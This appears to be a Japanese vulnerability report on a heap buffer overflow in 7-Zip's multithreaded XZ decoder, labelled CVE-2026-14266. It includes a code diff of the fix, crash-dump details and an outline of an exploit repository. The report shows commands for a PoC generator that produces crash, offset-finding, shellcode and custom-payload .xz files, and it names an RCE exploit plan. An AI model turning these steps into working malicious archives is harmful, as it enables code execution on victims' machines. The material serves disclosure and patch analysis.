XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
  → MixCoder_Code(outBuf branch, p->outBuf != NULL)
    → destLen2 = destLenOrig          // ← 境界クランプなし
    → Lzma2State_Code2(..., &destLen2)
      → dicLimit = dicPos + destLen2  // ← dicBufSize を超える可能性
        → Lzma2Dec_DecodeToDic(...)
          → LZMA2 copy-chunk ループ: memcpy(dic + dicPos, src, size)
            → dicPos が dicBufSize を超過 → ヒープオーバーフロー

if (p->outBuf) {
    SizeT destLen2, srcLen2;
    srcLen2 = srcLenOrig;
    destLen2 = destLenOrig;              // ← 生の値、クランプなし!
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;           // ← 合計は追跡するがチェックしない
}

if (p->outBuf) {
    SizeT destLen2;
    destLen2 = destLenOrig;
    if (p->numCoders != 1) {             // ★ NEW boundary check
        if (destLen2 < p->outWritten)
            return SZ_ERROR_FAIL;        // データ不整合 → 中止
        destLen2 -= p->outWritten;       // 残存容量にクランプ!
    }
    *srcLen = srcLenOrig;
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;
}

# クラッシュ確認（DoS）:
python poc/poc-cve-2026-14266-rce.py -o crash.xz

# オフセット発見（サイクリックパターン）:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-cyclic -o find-offset.xz

# シェルコードペイロード:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-shellcode -o exploit.xz

# カスタムバイナリペイロード:
python poc/poc-cve-2026-14266-rce.py \
    --payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz

# マルチスレッド（脆弱なパス）:
7z.exe x poc.xz -so -mmt=2 > NUL

# シングルスレッド（脆弱ではない — 比較用）:
7z.exe x poc.xz -so -mmt=1 > NUL

Fault instruction:  mov byte ptr [rcx], r11b
Fault address:      msvcrt.dll + 0x7B1EE (memcpy 内部のバイトコピーループ)
Fault VA (rcx):     0x12363C50002 = outBuf_base + 0x40002
                    (0x40000 バイトの outBuf を 2 バイト超過)

Decoder struct (rbx = 0x12363B0BB00):
  +0x28: outBuf base   = 0x12363C10000
  +0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
  +0x38: write cursor  = 0x40000 (オーバーフロー開始時点で既に FULL)

Call chain:
  msvcrt!memcpy
  ← 7z.dll+0x11EFF5 (LZMA2/XZ デコード出力コピーループ)
  ← 7z.dll+0x1305D5
  ← 7z.dll+0x13071B (XZ マルチスレッドデコードエントリ)
  ← ntdll.dll+0x1D141 (スレッド開始)

├── README.md                          ← 本レポート
├── src-diff/
│   └── XzDec.diff.txt                 ← 26.01 vs 26.02 の MixCoder_Code() 差分
├── poc/
│   └── poc-cve-2026-14266-rce.py      ← PoC ジェネレータ（サイクリック/シェルコード/生データ）
├── tools/
│   ├── 04-heap-analyze.ps1            ← ヒープレイアウト解析用 x64dbg MCP 自動化
│   ├── 05-mini-debugger.ps1           ← C# Win32 デバッグ API ミニデバッガ
│   └── 06-guard-dump.ps1              ← ガードページヒープダンパー（LFH 解析）
└── docs/
    ├── 01-crash-point-analysis.md     ← ライブクラッシュトレース（x64dbg）
    ├── 02-vulnerability-root-cause.md ← 根本原因の完全分析
    └── 03-rce-exploit-plan.md         ← RCE 悪用戦略